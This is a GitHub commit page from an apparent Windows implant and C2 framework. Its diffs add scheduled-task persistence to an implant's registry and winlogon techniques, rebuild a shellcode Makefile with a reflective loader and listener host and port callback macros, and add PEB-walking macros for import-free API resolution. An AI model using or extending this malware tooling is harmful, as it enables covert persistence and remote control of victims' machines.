trying to make shellcode from C++ but not complete

hideckies · May 23, 2024 · 3533c7c · 3533c7c
1 parent 3048c97
commit 3533c7c
Show file tree

Hide file tree

Showing 27 changed files with 842 additions and 1,134 deletions.
diff --git a/payload/win/implant/script/calc_hash_module.cpp b/payload/win/implant/script/calc_hash_module.cpp
@@ -44,7 +44,7 @@ int main()
 
     for (int i = 0; i < 2; i++)
     {
-        char* moduleUpper = modules[i];
+        char* moduleUpper = toUpper(modules[i]);
 
         // Make a key
         char buffer[100];

diff --git a/payload/win/implant/src/core/task/persist.cpp b/payload/win/implant/src/core/task/persist.cpp
@@ -270,6 +270,10 @@ namespace Task
             RegCloseKey(hKey);
             return L"Success: The entry has been set to HKLM\\" + std::wstring(wImg) + L" and HKLM\\" + std::wstring(wSilent) + L".";
         }
+        else if (wcscmp(wTechnique.c_str(), L"scheduled-task") == 0)
+        {
+            return L"Error: Not implemented yet.";
+        }
         else if (wcscmp(wTechnique.c_str(), L"winlogon") == 0)
         {
             HKEY hKey;

diff --git a/payload/win/shellcode/Makefile b/payload/win/shellcode/Makefile
@@ -1,11 +1,11 @@
-CCX64 = x86_64-w64-mingw32-gcc
-CCX86 = i686-w64-mingw32-gcc
+CCX64 = x86_64-w64-mingw32-g++
+CCX86 = i686-w64-mingw32-g++
 
-CFLAGS = -masm=intel -nostdlib
-CFLAGS += -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -w -O2
-
-CFLAGSX64 = $(CFLAGS) -Wl,-e,AlignRSP
-CFLAGSX86 = $(CFLAGS) -Wl,-e,Entry
+CFLAGS = -Os -masm=intel -nostdlib
+CFLAGS += -s -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -w
+CFLAGS += -fpack-struct=8 -falign-labels=1 -falign-jumps=1 -fPIC
+CFLAGS += -Wl,-Tscript/linker.ld
+CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
 
 MACROS = -DLISTENER_HOST=\"$(LISTENER_HOST)\" -DLISTENER_PORT=$(LISTENER_PORT) -DLISTENER_PATH=\"$(LISTENER_PATH)\"
 
@@ -15,12 +15,16 @@ OUTTEMP = build/tmp.exe
 OUTFILE = ${OUTPUT}
 
 amd64: clean
-	@ $(CCX64) -o $(OUTTEMP) $(CFLAGSX64) -Iinclude $(SOURCE)
-	@ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE)
+	@ nasm -f win64 -o build/rfl.o src/asm/rfl.x64.asm
+	@ $(CCX64) -o $(OUTTEMP) $(CFLAGS) -Iinclude $(SOURCE) build/rfl.o
+	# @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE)
+	@ python3 script/extract.py -f $(OUTTEMP) -o $(OUTFILE)
 
 i686: clean
-	@ $(CCX86) -o $(OUTTEMP) $(CFLAGSX86) -Iinclude $(SOURCE)
-	@ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE)
+	@ nasm -f win32 -o build/rfl.o src/asm/rfl.x86.asm
+	@ $(CCX86) -o $(OUTTEMP) $(CFLAGS) -Iinclude $(SOURCE) build/rfl.o
+	# @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE)
+	@ python3 script/extract.py -f $(OUTTEMP) -o $(OUTFILE)
 
 clean:
 	@ rm -rf build/*
diff --git a/payload/win/shellcode/asm_samples/x64/pop_calc.asm b/payload/win/shellcode/asm_samples/x64/pop_calc.asm
diff --git a/payload/win/shellcode/include/core/macros.hpp b/payload/win/shellcode/include/core/macros.hpp
@@ -1,8 +1,26 @@
-#ifndef HERMIT_MACROS_HPP
-#define HERMIT_MACROS_HPP
+#ifndef HERMIT_CORE_MACROS_HPP
+#define HERMIT_CORE_MACROS_HPP
+
+// PEB
+#ifdef _WIN64
+#define PPEB_PTR __readgsqword(0x60)
+#else
+#define PPEB_PTR __readfsqword(0x30)
+#endif
+
+// FUNCTIONS
+#define DEREF(name)     *(UINT_PTR*)(name)
+#define DEREF_64(name)  *(DWORD64*)(name)
+#define DEREF_32(name)  *(DWORD*)(name)
+#define DEREF_16(name)  *(WORD*)(name)
+#define DEREF_8(name)   *(BYTE*)(name)
+
+#define SEC(s, x) __attribute__((section("." #s "$" #x "")))
+
+#define MEMCPY    __builtin_memcpy
 
 #ifndef TO_LOWERCASE
 #define TO_LOWERCASE(c1, out) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
 #endif
 
-#endif // HERMIT_MACROS_HPP
+#endif // HERMIT_CORE_MACROS_HPP
diff --git a/payload/win/shellcode/include/core/modules.hpp b/payload/win/shellcode/include/core/modules.hpp